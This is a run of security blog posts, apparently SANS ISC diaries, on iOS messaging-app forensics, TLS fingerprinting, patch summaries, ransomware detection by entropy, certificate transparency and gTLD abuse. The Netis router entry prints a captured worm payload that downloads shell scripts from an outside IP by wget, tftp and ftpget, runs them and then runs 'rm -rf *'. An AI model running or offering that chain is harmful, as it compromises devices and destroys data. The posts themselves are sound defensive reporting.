WhatsApp
​This is the messaging application you will surely encounter most of the times while investigating a mobile device. Whatsapp is one of those applications that stores the data in the Shared directory mentioned before, instead of the application data directory, as we can see by the following output:
iLab1:/private/var/mobile/Containers/Shared/AppGroup root# tree 332A098D-368C-4378-A503-91BF33284D4B
|-- Axolotl.sqlite
|-- ChatSearch.sqlite
|-- ChatStorage.sqlite
|-- Contacts.sqlite
…

The main database is ChatStorage.sqlite, where it is saved the actual content of the messages exchanged. Among the tables of interest, one of the most important is ZWAMESSAGE, which contains, among others, the messages exchanged, their timestamp, the name of the user involved in the chat. Other tables worth to be analyzed are ZWACHATSESSION, ZWAGROUPMEMBER, ZWAGROUPINFO and ZWAMEDIAITEM, which stores references to the multimedia files exchanged, indication of the users involved, timestamps, and the path where the file has been stored.
As also recently mentioned by J. Zdziarski on his blog [1], an interesting “feature” of Whatsapp is that deleted chats are not actually deleted form the database. This because when a SQLite record is being deleted, for performance reasons it is not actually wiped/purged from the database immediately, but marked as free and eventually overwritten later on when that storage space is needed. Therefore by simply using a tool like SQLite-parser [2][3], you can quickly carve out deleted record from your Whatsapp chat database.
However, as matter of facts, you will find this “feature” in most applications using SQLite storage databases, since most of them do not handle properly this aspect.

Last but not least, the “Snapshot feature”: Whatsapp does store screen snapshots, in clear.

Telegram
Like Whatsapp, also Telegram stores many of its data in the Shared directory.
There, under the Documents folder, you will find the tgdata.db database, which contains all information about contacts, conversations, exchanged files, etc.
Here some of the tables of interest are messages_v29, which contains the list of all messages exchanged, convesations_v29, which contains the list of active conversations as showed in the “Chats” screen of the app, and encrypted_cids_v29, which contains the conversation ids of the secret chats.

Other than the (expected) behavior already found in Whatsapp, which means that deleted records are not immediately purged out of the database and therefore can be recovered, Telegram messages from secret chats are stored in clear in the messages_v29 table, like all the other messages.
The thing you will not find in Telegram is the screen snapshot, as apparently they properly clear the screen when the fade-out event happens.

Signal
For sure less popular than the previous two, it is the one you may find in devices of users who are security/privacy aware, or that want indeed to hide something and are informed of the technical capabilities they need.
From a forensics point of view, there is not much to say here since Signal delivers what it promises: its database /Document/Signal.sqlite, containing all its data, is fully encrypted. However, oddly enough, two things that are not encrypted:

• The attachments exchanged are stored in clear in the /Document/Attachments/ folder.
• Screen Snapshots can be retrieved as well. Signal has an option “Enable Screen Security” that would prevent this, but for some reason is not set by default.

As said, not too many information available but you may still find some useful traces available.

Conclusions
This was a brief overview of what you can find in case of investigating messaging applications in iOS environment. Nothing rocket science for sure, but still important things to remember during the analysis that are often overlooked.

Happy Hunting

Pasquale

References:
[1] – “WhatsApp Forensic Artifacts: Chats Aren’t Being Deleted”, http://www.zdziarski.com/blog/?p=6143 
[2] – “Python Parser to Recover Deleted SQLite Database Data”, http://az4n6.blogspot.ch/2013/11/python-parser-to-recover-deleted-sqlite.html 
[3] – “SQLite-parser”, https://github.com/mdegrazia/SQLite-Deleted-Records-Parser

Cisco recently published a paper showing how malicious SSL traffic sometimes uses very specific SSL options. Once you know what set of SSL options to look for, you will then be able to identify individual pieces of malware without having to decrypt the SSL traffic.

(and before anybody complains: SSL does include TLS. I am just old fashioned that way)

I wanted to see how well this applies to HTTPS traffic hitting the ISC website. I collected about 100 MB of traffic, which covered client hello requests from about 719 different IP addresses. 

There are a couple of parameters I looked at:

• Use of the SNI field. All reasonably modern browsers use this field.
• Number of Ciphers used. I could look at individual ciphers, but the size of the ciphers offered field was easier to investigate
• The total size of all extensions. Again simpler than looking at individual extensions. I subtracted the size fo the SNI option to eliminate variability due to different host names we use.

First the SNI option. I used the following tshark command to extract the size of the SNI option:

tshark -r pcap -n -Y 'ssl.handshake.type==1' -T fields -e ssl.handshake.extensions_server_name_list_len  | sort -n | uniq -c

Here is the result broken down by hostnames:

I was a bit surprised by the high number of hits without SNI. So I took a closer look at them.

Next step: Find out who isn't using SNI. 

 tshark -r pcap -n -Y 'ssl.handshake.type==1 && !  ssl.handshake.extensions_server_name_list_len' -T fields -e ip.src

One issue I ran into is that some of the requests to our site went through proxies. Proxies terminate the SSL connection, and the options observed do not depend on the web browser, but the client. The top user agents I saw without SNI:

• BING: Looks like BING doesn't support SNI yet. This is kind of odd for a major search engine.
• Some obviously fake user agents. They claim to be a modern browser, but for example only hit one particular URL over and over.
• Nagios, the monitoring software (no surprise)
• Python-urllib. Again, no surprise
• wget
• various RSS feed and Podcast clients

With the exception of "Bing", all of these are "good to identify". For our site, we do not mind scripting against our API which explains the large numbers of requests from clients like Python. Some never sent any HTTP requests, so I assume they are just SSL fingerprinting attempts. In particular, the once that used the heartbeat option on the client hello ;-)

Next, let's look at the number of ciphers offered by the client.

tshark -r pcap -n -Y 'ssl.handshake.type==1' -T fields -e ip.src -e ssl.handshake.cipher_suites_length  | sort -u | cut -f2 | sort -n | uniq -c  > cipherlength

Again we get a very diverse picture. I expected more pronounced "peaks", but looks like we got a wide range of possible "right" answers. "34" (which implies 17 different ciphers) appears to be the most common answer followed by 26 and 52. But lets look at some of the outliers again:

The larges number of ciphers was 99 (cipher length of 198). This request came from 54.213.123.74, which resolves to gw.dlvr.it. 

Finally, lets get te total length of the client hello extensions (cipher suites are not included) and subtract the length of the SNI option for its variability:

Again, we get a fairly wide distribution. Looks a bit like the cipher length. There some client that didn't appear to use any extensions, which is probably the outlier to look at here first.

Among the user agents not using any SSL extensions, the scripts stick out again (nagios, wget, curl and the like)

In conclusion:

I think this does deserve more study. I only had a couple hours today to work on this. I think for a workstation networks, watching SSL options will certainly make for a nice "backup" to monitoring user agents, in particular if you can't intercept user agents for SSL. For a server, it comes down to how much you can "tighten up" the range of clients you allow to access your web applications. In a DoS situation, this may be a nice way to filter an attack, and you should certainly look for anomalies.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Today, Microsoft released a total of 9 security bulletins. 5 of the bulletins are rated "critical", the rest are rated "important".

You can find our usual summary here:  https://isc.sans.edu/mspatchdays.html?viewday=2016-08-09 (or via the API in various parsable formats)

Some of the highlights:

MS16-095/096: The usual Internet Explorer and Edge patches. Microsoft addresses nine vulnerabilities for Internet Explorer, and 8 for Edge. Note that there is a lot of overlap. Kind of makes you wonder how much Edge differs from Internet Explorer.

MS16-097: This patches three vulnerabilities in Microsoft Windows' Graphics Component. The vulnerabilities can be reached via Skype for Business or Lync.

MS16-098: 4 more privilege escalation flaws in Window's kernel mode drivers. 

MS16-099: This update patches five vulnerabilities in Microsoft Office. Note that Office for the Mac is affected as well. So is the Word Viewer.

MS16-100: The patch fixes a vulnerability that would allow bypassing of Secure Boot. Note that this update MAY affect dual boot of systems that use operating systems other than Windows.

MS16-101: Two similar vulnerabilities, affecting Kerberos nad Netlogon, are addressed in this update. Exploitation could lead to privilege escalation

MS16-102: In recent versions of Windows, Microsoft started to use its own PDF library. Sadly, it is vulnerable just like any other PDF library, and this update addresses one new vulnerability. Note that Microsoft does provide hints in the bulletin about how to disable rendering of PDFs in Edge. I am not sure if this is a good idea, but something you may want to consider.

MS16-103: This vulnerability only affects the "Universal" edition of Outlook, and could lead to data leakage.

My Patch Priority:

(I see it as really three groups: 1-5: remote code execution vulnerabilities, 6-7: Privilege Escalation, 8-9: others... Within each group it is difficult to prioritize)

1. MS16-095 Internet Explorer: Probably the widest history of exploits and largest attack surface
2. MS16-096 Edge: Just like above, but users typically still prefer Internet Explorer.
3. MS16-099 Office: Hard to tell users not to open Office documents.
4. MS16-102 PDF Library: Just like Office documents, it is hard to eliminate PDFs​
5. MS16-097 Graphics Component: Not as easy to exploit as the prior components, so I rate it a bit lower.
6. ​MS16-101 Authentication Methods:  "Only" a privilege escalation, and not remotely reachable if you lock down your perimeter.
7. MS16-098 Kernel Mode Drivers: I rate this one lower as it is only a privilege escalation, and there are probably 100s more that have not been patched yet.
8. MS16-103 Universal Outlook: This one is difficult to exploit and only affects a smaller number of users.
9. MS16-100 Secure Boot: While this could lead to a full/persistent compromise, the attacker first needs to get to the system, which is why I think you should patch this one last.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Any engineer or physisist will tell you that Entropy is like Gravity - there's no fighting it, it's the law!  However, they can both be used to advantage in lots of situations.

In the IT industry, a file's entropy refers to a specific measure of randomness called "Shannon Entropy", named for Claude Shannon.  This value is essentially a measure of the predictability of any specific character in the file, based on preceding characters (full details and math here: http://rosettacode.org/wiki/Entropy).  In other words, it's a measure of the "randomness" of the data in a file - measured in a scale of 1 to 8 (8 bits in a byte), where typical text files will have a low value, and encrypted or compressed files will have a high measure.

How can we use this concept?  On it's own, it's not all that useful, when you consider that many data filetypes (MS Office for one) are highly compressed, and so already have a high entropy value.  So using just entropy, there's no telling a good MS Office file from one encrypted by ransomware.

However, most data files have a specific file header, which includes a set of identification bytes (called "magic bytes") that identify what the data file is.  For instance, those bytes for PKZIP files are "PK", and PE32 executable files use "MZ".  You can identify these files by using the "files" program.  While this command is native to Linux, there are nice ports of this for Windows.

If "files" can't identify a file type, we' can then use the entropy value as a second check.  If a file is encrypted, it will have a higher entropy value than one that isn't.  In this case you are looking for a file where the character distribution is random, or at least much more random than a "normal" data file.

You need both of these checks to identify suspect files - as mentioned today's complex data files are becoming much more compressed - Office files are actually PKZIP compressed these days, so will identify as PKZIP when checked with "files".

Using these two checks to identify suspect files depends on a couple of things:

1. Ransomware encrypts the whole file, so it clobbers the magic bytes of data files when it encrypts them (at least all the variants that I've encountered)
2. Ransomware generally employs a decent encryption algorithm, so the entropy will be "high".  So far this has been true - for instance, we're not seeing ramsomware using simple XOR techniques (which would by terrible encryption, but would preserve a file's average entropy value).

Using these two checks, I started with a simple powershell script that copies a subdirectory from one location to another, but leaves all of the suspected infected files behind.  A log file is created that lists all files copied and all files that are suspect and should be looked at.  I used Sigcheck (from sysinternals) to compute the entropy value.  If the entropy is above 6 (8 is the maximum) and the magic bytes are unknown, I flag the file as "suspect".

And for a test "ransomed" file, I'm using Didier Steven's sample file: ransomed.bin (see the bottom of this story for links).

I used Powershell because most Ransomware affected shops that I've worked with have been infected in MS-Office files and other Windows data files, so Powershell seemed simpler than adding "install python" into a customer's crash IR situation.  You could certainly take this same logic and code an equivalent python script that would cover Windows, Linux and OSX.

After finishing my replication script and taking a step back, I realized a few things:

• I was trying to recreate rsync, which does the replication job much better than I could ever hope to.
• Using Sigcheck was adding some Powershell overhead to extract the "entropy" value from the output text, which was adding up to seconds and minutes for larger volumes.

So I re-wrote the script to be more of a "single-minded".  The final script simply lists suspect files rather than copies them.  And I wrote a short C program to compute the entropy value (thanks to Rosettacode for the starting point on this!), which simply spits out the numeric value, rather than lots of other stats I don't need for this job.

The final output list of suspect files can be used in a few ways:

• It can be used as an exception list, to tell rsync which files to skip in a replication job.  This starts to approach some commercial backup, storage and replication products, which have product features that allow you to create "sanitized" copy of a data volume (these are generally new new features, so your mileage may vary).
• It can also be used to catch infection incidents early.  Once you are in the midst of IR, you can usually identify infected files by something more obvious - like the file extension is now "locky" for instance.  But if you don't know that you're infected, you won't know which IOC to look for - this can help identify the problem early.
• For many of us, the prevalence of malware that uses encryption has changed the focus of our jobs.  We're not just protecting the perimeter and the workstations, we're now tasked with protecting the actual data (which philosophically should have been the case all along).  What this means is that we should start getting more familiar with the data in our organization, what the file type and size distribution is, how quickly it changes and what data is actually in the files.  Hopefully the approach I've outlined can be helpful in this effort.
• Lastly, I'll be using this to extend the "files" command to include more file types.  I've added the ID for 7zip files already, but look for a story on this project sometime in the next few weeks.  So far I've identified that I need to add file definitions for wma, mobi, m4a, epub, pgp, gzip / tgz and mp3/mp4 files.  VMware Workstation "appicon" files (and several other workstation files) also aren't correctly identified.  If you find more filetypes that are not correctly detected please let us know via the comment form.  The more effective the "files" command is, the more effective this scanning approach will be.

From this script, you can see that "cleaning" ramsomware infected files isn't an insurmountable problem.  A simple script like this feeding rsync can be used to create a "clean" copy of a datastore, and identify suspect files.  Just be SURE to keep up with evaluating that "suspect" file list - as noted, depending on your data store there might be lots of clean files in that list at the moment (give me a few weeks to improve this).  If you run the script as-is to blindly feed rsync, you won't have a complete copy of your datastore.

As always, this was a 1 evening coding effort, so I'm sure that there is more "elegant" Powershell syntax for one thing or another.  Also, you'll see that my C code chooses readability over efficiency in a few spots.  For either piece of code, if you find any errors, or if you identify better syntax to get the job done, please do use our comment form and let me know.  Of more interest, if you find this code useful in your environment and you want to see a "version 2" - let me know in the comments also!

As I work on this code, you'll find the most up-to-date version at: https://github.com/robvandenbrink/Ransomware-Scan-and-Replicate

Didier's diaries on Ransomware and Entropy can be found here:
https://isc.sans.edu/forums/diary/Ransomware+Entropy/20271/
https://isc.sans.edu/diary/Ransomware+%26+Entropy%3A+Your+Turn/20321

===============
Rob VandenBrink
Compugen

Introduction

Earlier today, I posted a diary protesting an overall trend of calling ransomware infections "ransomware attacks" [1].  Unfortunately, that previous diary didn't include information on attacks that actually have involved ransomware.

Some tweets about my original write-up got me thinking about it some more...  So this diary goes into more detail.

Shown above:  Commenting on the first diary, @DanielGallagher notes Samsam.

Shown above:  Commenting on the first diary, @fwosar discusses RDP attacks.

Distribution: both large-scale and targeted

As previously stated, I frequently find ransomware during daily investigations of exploit kit (EK) traffic and malicious spam (malspam) campaigns.  However, my visibility is limited.  I rarely, if ever, run across activity I consider a targeted attack.  That field of view doesn't include ransomware infections seen after brute force attacks using Microsoft's Remote Desktop Protocol (RDP).  Examples of brute force RDP attacks resulting in ransomware infections have been published as recently as May [2, 3] and June 2016 [4].

Other sources have reported targeted attacks involving ransomware known as Samas, SamSa, or SamSam [5, 6, 7, 8, 9 to name a few].  Most of these write-ups say organizations in the health industry (as well as other industries) have been targeted.  These reports document a trend where an attacker first gains unauthorized access to an organization's network, then the attacker deploys ransomware on hosts within that network.

Shown above:  Diagram of a Samas infection chain from the Microsoft report [8].

That's certainly an attack.

I'd be crazy not to include this information when discussing my disdain for the term "ransomware attack."  And it's something I foolishly omitted in my previous diary on the subject.  Ransomware is, indeed, distributed in both large-scale and targeted campaigns.

Large-scale does not equal targeted

Most reports of ransomware infections, especially in the health care industry, imply some sort of targeted attack.  But that's not always the case.

For example, in March 2016 we saw reports that a Kentucky-based Methodist Hospital was infected with Locky ransomware through malspam.  The malspam contained a Word document with malicious macros masquerading as an invoice [10].  The press played it up as an attack, but malspam is a common tactic of large-scale campaigns distributing Locky, where some messages occasionally slip through spam filters.  Even Krebs called it an "opportunistic attack" when reporting on the incident [11].

However, opportunistic is not targeted.

In March 2016, Wired published an in-depth write-up on why hospitals are perfect targets for ransomware [12].  In that article, the author discusses Methodist Hospital and other Locky incidents while including targeted attacks by criminals spreading Samsa ransomware.  Although the author notes Locky involves "spray-and-pray phishing campaigns" involving mass emails, this method is still described as a "Locky attack."

Wired's article is well-written and worth a read.  It includes plenty of detail on the reasons why health care organizations are at risk.  But readers who only skim the article will miss some key points, and they could easily confuse large-scale Locky distribution with a targeted attack.  In cases like this, I think authors should use "Locky campaign" instead of "Locky attack."

Final words

Even considering targeted attacks involving ransomware, I still feel we're putting too much emphasis on the attackers and not enough focus on fixing our own vulnerabilities.

Furthermore, I believe media reporting leads some people to confuse large-scale ransomware campaigns with targeted attacks.

The number of ransomware samples found in large-scale campaigns far outweighs the number of ransomware samples reported from targeted attacks.  I still believe that, odds are, any given ransomware "attack" is probably the result of a large-scale campaign.

I'd rather see people use "ransomware incident" instead of "ransomware attack."

My thanks to @DanielGallagher and @fwosar for their tweets.  They helped keep me a bit more honest.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

References:

[1] https://isc.sans.edu/forums/diary/Stop+calling+it+a+ransomware+attack/21345/
[2] https://blog.fox-it.com/2016/05/02/ransomware-deployments-after-brute-force-rdp-attack/
[3] http://researchcenter.paloaltonetworks.com/2016/05/unit42-bucbi-ransomware-is-back-with-a-ukrainian-makeover/
[4] http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/
[5] http://researchcenter.paloaltonetworks.com/2016/03/evolution-of-samsa-malware-suggests-new-ransomware-tactics-in-play/
[6] http://blog.talosintel.com/2016/03/samsam-ransomware.html
[7] https://www.secureworks.com/blog/samas-ransomware
[8] https://blogs.technet.microsoft.com/mmpc/2016/03/17/no-mas-samas-whats-in-this-ransomwares-modus-operandi/
[9] http://blog.trendmicro.com/trendlabs-security-intelligence/lesson-patching-rise-samsam-crypto-ransomware/
[10] http://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/locky-ransomware-strain-led-kentucky-hospital-to-an-internal-state-of-emergency
[11] http://krebsonsecurity.com/2016/03/hospital-declares-internet-state-of-emergency-after-ransomware-infection/
[12] https://www.wired.com/2016/03/ransomware-why-hospitals-are-the-perfect-targets/

2016-08-07 update:  I've posted a follow-up diary [link] that includes information on targeted attacks that do involve ransomware.

Introduction

I dislike the term "ransomware attack."  Why, you ask?  It's a matter of perception. 

The word "attack" indicates specific intent against a particular individual or group.  An attack means someone (or something) is targeted.  But I'm hesitant to use the terms "attack" and "targeted" when discussing ransomware.  Calling a ransomware infection an "attack" focuses blame on an enemy.  I consider this mindset dangerously close to fear mongering.

If we continue thinking of ransomware infections as "attacks," we'll never seriously consider a wide variety of issues that allow ransomware infections to happen in the first place.

Ransomware distribution

Ransomware is distributed on a large scale.  Criminal groups generally use two methods to distribute malware: malicious spam (malspam) and exploit kit (EK) campaigns.  These are most often large-scale operations that attempt to reach as many potential victims as possible.

I view EK campaigns as laying a bunch of mousetraps throughout the web.  An EK is not an active attack against a specific victim.  People stumble across EKs through casual web browsing.  Personally, I've never found any convincing evidence that ransomware infections through EK traffic have been targeted.

But what about malspam, you ask?  You might think someone receiving an email with ransomware was targeted.  However, I find it hard to believe the massive waves of malspam I sometimes look into are targeted against specific individuals.  Especially when it's Locky ransomware, which is widely distributed [1, 2, 3].  When someone's email address is discovered by a spammer, it gets on a list.  That list is often shared, and the person's email address will be constantly bombarded by wave after mindless wave of botnet-based malspam.

Ultimately, I believe ransomware infections are the result of large-scale campaigns covering numerous potential victims, and a comparatively small number of people actually get infected.

Yes, those relatively few infections often have major consequences, but they're not the result of narrowly-defined attacks.  They're the result of large-scale campaigns.  The important part isn't necessarily who is infected.  The important part is that enough people with enough resources are infected to make it profitable for the criminals.

Shown above:  Roberto probably said, "It's got my name in it, so it must be targeted!"

Assigning criminal intent based on statistics

During my day-to-day research, I usually see ransomware.  I also see the malspam and EK vectors this malware comes through.  But we should not make any assumptions of criminal intent based on the data we collect.  Why?  Because no matter how wide we cast our net, we'll never know the full truth.

I still read such reports.  The latest one I looked at was based on a July 2016 Osterman Research survey about ransomware [4].  It's typical of what I've been seeing lately.  The report states that healthcare and financial services are the industries most vulnerable to ransomware attacks.  According to the report, "These industries are among the most dependent on access to their business-critical information, which makes them prime targets for ransomware-producing cyber criminals."

Shown above:  One of the charts from the Osterman report.

I enjoyed reading the report.  It has some good insights.  But whenever I see these statements, I always wonder if those industries are really targeted more than other industries.  Or did they have more infections because they're inherently more vulnerable?  If they're indeed the most vulnerable, wouldn't it follow they're more likely to get infected during massive campaigns indiscriminately targeting everyone?

Like the large-scale EK or malspam campaigns spreading ransomware I see every day?

I don't know how to describe this.  We're saying certain industries are targeted more because they're getting infected more.  That just feels wrong.  Ransomware doesn't need to be targeted if it's widely distributed.

Yet everyone and their mother are calling these ransomware attacks.

Final words

We tell ourselves we must know our enemy so we can better protect our network.  However, I think we put too much focus on the enemy and not enough focus on ourselves.

Is everyone in your organization following best security practices?  Is security a truly essential part of your corporate culture?  Is security a primary concern when establishing or upgrading your network architecture, or does cost outweigh the best security measures?  Most organizations have problems in these areas.  We convince ourselves there are certain weaknesses we must live with.

And management really wants to know who was behind that ransomware infection and why your organization was apparently targeted.

But odds are the ransomware was directed at any number of people who either stumbled across it or were unlucky enough to find it in their inbox.

Sure, call it a ransomware incident.  Just don't call it a ransomware attack.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

References:

[1] https://www.fireeye.com/blog/threat-research/2016/03/surge_in_spam_campai.html
[2] https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware
[3] http://researchcenter.paloaltonetworks.com/2016/07/unit42-afraidgate-major-exploit-kit-campaign-switches-from-cryptxxx-ransomware-back-to-locky/
[4] https://go.malwarebytes.com/OstermanRansomwareSurvey.html

rtfdump is a tool I developed to help me analyze (malicious) RTF files. If you just want to extract embedded objects from RTF files, you can use rtfobj. But if you want to perform more analysis, you can use rtfdump. For example, it supports YARA rules.

To familiarize you with rtf files and their analysis, I made 3 videos.

An intro video.

A video analyzing RTF maldoc (MD5 07884483f95ae891845caf0d50ce507f) that contains an exploit for MS12-027 CVE-2012-0158.

And a video analyzing RTF maldoc (MD5 4483ad299158eb54f6ff58b5346a36ee) that contains an exploit for MS10-087 CVE-2010-3333.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Out reader submitted to us several "odd packets". Of course, I can't resist to figure out what is exactly going on here: The packets appear to include a lengthy pre-ample, but I have no idea what would cause this. After the pre-ample, we got what looksl ike a normal Link-Local Multicast Name Resolution Packet. Maybe some kind of packet logging tool sending packets over the wire to a logging system? Here is the sample packet:

    0x0000:  0000 2900 0033 0000 3700 0000 0000 0000
    0x0010:  0000 0000 0000 0000 0000 0000 0000 0000
    0x0020:  0000 0000 0000 0000 0000 0000 0000 0000
    0x0030:  0000 0100 5e00 00fc 6451 06a1 43c6 8100
    0x0040:  00a7 0800 4500 0033 355a 0000 0111 599b
    0x0050:  XXXX XXXX e000 00fc c59d 14eb 001f 0c38
    0x0060:  8669 0000 0001 0000 0000 0000 0555 3231
    0x0070:  3038 0000 ff00 01

I highlighted the unexplained prefix in red. The reminder appears to be a normal multicast DNS packet:

Ethernet Header

    0x0030:  .... 0100 5e00 00fc 6451 06a1 43c6 8100
    0x0040:  00a7 0800

0100 5e00 00fc : Destination MAC for multicast address used
6451 06a1 43c6: Source MAC. The OUI is a assigned to HP
8100 00a7         : VLAN tag
0800                  : ethernet type for IPv4

​IPv4 Header

    0x0040:  .... .... 4500 0033 355a 0000 0111 599b
    0x0050:  XXXX XXXX e000 00fc 

IPv4, normal header length (20 bytes), TOS=0
Total Datagram Length: 0x33 (51)
IP ID: 0x355a, no fragmentation flags, no offset
TTL: 1
Protocol: 0x11 (UDP, 17)
IP checksum: 0x599b
​Source IP: [obfuscated, since it was a public routable IP]
Destiation IP: 224.0.0.252  - LLMNR Multicast Name Resolution, RFC4795

UDP Header
    0x0050:  .... .... .... .... c59d 14eb 001f 0c38
​
Source Port: 50589
Dest. Port:  5355 (normal port for LLMNR)
UDP Length:  31 bytes
UDP Checksum: 0x0c38

mDNS Payload
    0x0060:  8669 0000 0001 0000 0000 0000 0555 3231
    0x0070:  3038 0000 ff00 01

Query ID: 0x8669
Flags:      0x0000 (this is a query)
Queries: 1, Answers: 0, Name Servers: 0, Additional records: 0

Query: 05 55 32 31 30 38 00 -> U2108
​Type:   00 ff - "ANY"
 

Please comment or use our contact form to let us know if you have seen traffic like this.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

We started to see a surge in attempts to exploit a well known back door in Netis routers. The backdoor was first described in 2014 by TrendLabs [1]. Netis routers are used predominantly in China, but can occasionally be found in other parts of the world. 

Exploitation of the backdoor is easy: Any payload sent to %%port:53413%%/UDP is automatically executed. Various exploit tools for this issue are available, but probably all you need is netcat to trigger the problem. (thanks to Bill for pointing this out!)

About a week ago, the number of exploit attempts detected by DShield skyrocketed, and given the rapid increase not only in targets, but also in sources that do the scanning, a worm is likely to blame that will infect vulnerable routers and turn them into scanners.

It only took me seconds to capture an exploit attempt (I formated the bash code for readability). The IP address of the web/ftp/tftp server below is different from the IP address the attack came from, so unlike other worms, the victim does not appear to be offering the files for download.

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://49.50.71.149/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 49.50.71.149 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 49.50.71.149; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 49.50.71.149 ftp1.sh ftp1.sh; sh ftp1.sh;
 rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *.

bins.sh attempts to download some files compiled for the MIPS platform, which matches the affective Netis routers. Downloads are slow, indicating that the server delivering them may be rather busy, but the IP address above is not the only IP address seen in thse attacks. But att his point, it is highly unlikely that any vulnerable devices are still unexploited.

[1] http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

I am a big fan of the idea behind Certificate Transparency [1]. The real problem with SSL (and TLS... it really doesn't matter for this discussion) is not the weak ciphers or subtle issues with algorithms (yes, you should still fix it), but the certificate authority trust model. It has been too easy in the past to obtain a fraudulent certificate [2]. There was little accountability when it came to certificate authorities issuing test certificates, or just messing up, and validating the wrong user for a domain based on web application bugs or social engineering [3][4].

With certificate transparency, participating certificate authorities will publish all certificates they issue in a log. The log is public, so you can search if someone received a certificate for a domain name you manage.

You can search certificate transparency logs published by various CAs directly, or you can use one of the search engines that already collect the logs and use them to search [1].

For example, here is an "interesting" certificate for "sans.org", issued by the infamous Symantec test CA [5].

So what is the "dark side" part? 

Many organizations obtain certificates for internal host names that they do not necessarily want to be known. In the past, internet wide scans did catalog TLS certificates, but they only indexed certificates on publicly reachable sites. With certificate transparency, names may leak that are intended for internal use only. Here are a few interesting CNs I found:

vpn.miltonsandfordwines.com
upstest2.managehr.com
mail.backup-technology.co.uk

To find these, I just searched one of the Certificate Transparancy Log search engine, crt.sh , for "internal".

There are currently two options considered to "fix" this problem: 

- Allow customers to opt out of having their certificate logged. This is a bad idea. Malicious customer would certainly opt out.

- Redact sub-domain information from the log. This is currently in the works, but the current standard doesn't support this yet. In the long run, this appears to be a better option.

But you should certainly regularly search certificate transparency logs (or any scans for SSL certificates) for your domain name to detect abuse or leakage of internal information.

[1] https://www.certificate-transparency.org
[2] https://security.googleblog.com/2015/03/maintaining-digital-certificate-security.html
[3] http://oalmanna.blogspot.ro/2016/03/startssl-domain-validation.html
[4] https://thehackerblog.com/keeping-positive-obtaining-arbitrary-wildcard-ssl-certificates-from-comodo-via-dangling-markup-injection/index.html
[5] https://censys.io/certificates/1ceea0c068af62faa2974de81f8f7ba6973bb0186e3856bd1ae2c80633cdb3a1

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

The big Windows 10 patch start today. It incudes many different things but here are the highlights.

Security:

• Windows Hello (Biometric Login)
• Windows Defender (Better Logs and Notifications)
•  Windows Defender Advanced Threat Protection (Built-in)
• Windows Information Protection (Built-in)

Other:

• Windows Ink
• Cortana update
• Edge update

How to Defer Install

If you want to defer the install for four months you can go to:  Settings > Update and Security > Advanced Options and click the Defer Upgrades check box.

For GPO: Computer Configuration > Administrative Templates > Windows Components > Windows Update.  Enable and select the number of months 0-8.
 

How to Get it Faster

Windows Central has a good write-up on the different ways you can install the update (http://www.windowscentral.com/how-get-windows-10-anniversary-update).

For more information on the update see :https://blogs.windows.com/windowsexperience/2016/06/29/windows-10-anniversary-update-available-august-2/

--

Tom Webb

@twsecblog

One year ago, I already covered the impact that ICANN's latest money grab was having on security, see https://isc.sans.edu/forums/diary/httpsyourfakebanksupport+TLD+confusion+starts/18651/. ICANN is the organization that rules the Interwebs, and decides which "top level" domain names can be used. A while back, they decided that they needed more money, and embarked on a "manifest destiny" like trek to discover domain name lands that they could homestead for free, and then sell to the highest bidder.

Thanks to this, we now have generic top level domains (gTLDs) like ".support" and ".shop" and ".buy" and ".smile", in addition to ".com", ".net" & co. Some of these new native lands that ICANN offers seem to be rich in gold or silver, since A LOT OF MONEY is changing hands for the privilege to own one of these freshly plowed plots of cyberspace.

The problem is, most newly arriving settlers are outlaws, and there is no sheriff in town! For example, this past week, most of the redirector pages leading to exploit kits were domiciled under the new gTLDs .top and .xyz.  To add insult to injury, some of the miscreants that register these domains don't even TRY to hide. They use the same name and email address for six, eight weeks in a row.  Once a domain of theirs gets blocklisted by filters, the bad guys already have 10 other domains registered, and they simply relocate.

Two weeks ago, ICANN published their "Revised Report on New gTLD Program Safeguards to Mitigate DNS Abuse", suggesting - at least on the surface - that they are aware of what is going on. But let me share a couple of nuggets:

[...] ICANN and its various supporting organizations have some purview over registration issues through the policy-making and enforcement processes, while use issues are more difficult to confront given ICANN’s limited authority over how registrants use their domain names.  [Translation: Malware TLDs are not our fault]

The ICANN-sponsored survey referenced above reported that consumer trust in new gTLDs is much lower than in legacy TLDs, with approximately 50% of consumers reporting trust in new versus approximately 90% reporting trust in legacy TLDs.  [Translation: Well, DUH! Sometimes, consumers are right!]

[...] New TLD domains are more than twice as likely as legacy TLDs to appear on a domain blocklist—a list of domains of known spammers— within their first month of registration. [Translation: We knew this was going to happen, but lets conduct another study while we rake in the dough]

The report goes on to list the "Nine Safeguards" that ICANN put in place to prevent abuse. All of them make perfect sense. What is glaringly obviously missing, though, is what I would suggest as Safeguard #10: "A registrar where more than 1% of their registered domains, or more than 0.01% of the registered domains per TLD,  end up on a public blocklist (like Google SafeBrowsing) shall receive a warning, and upon reoccurrence within 3 months, have their license to act as a registrar withdrawn by ICANN with immediate effect."

That whole "Oh we can't do anything about how domains are USED" cop-out is utter bull. ICANN raked in piles of $$ in the gTLD land grab, and they can afford to hire auditors who compare the zone files against the public block lists, and take decisive action against the registrars that feed on the bottom. Financial institutions have a FTC enforced "red flag rule" that requires them to know who they do business with, or face the consequences. Why don't registrars?

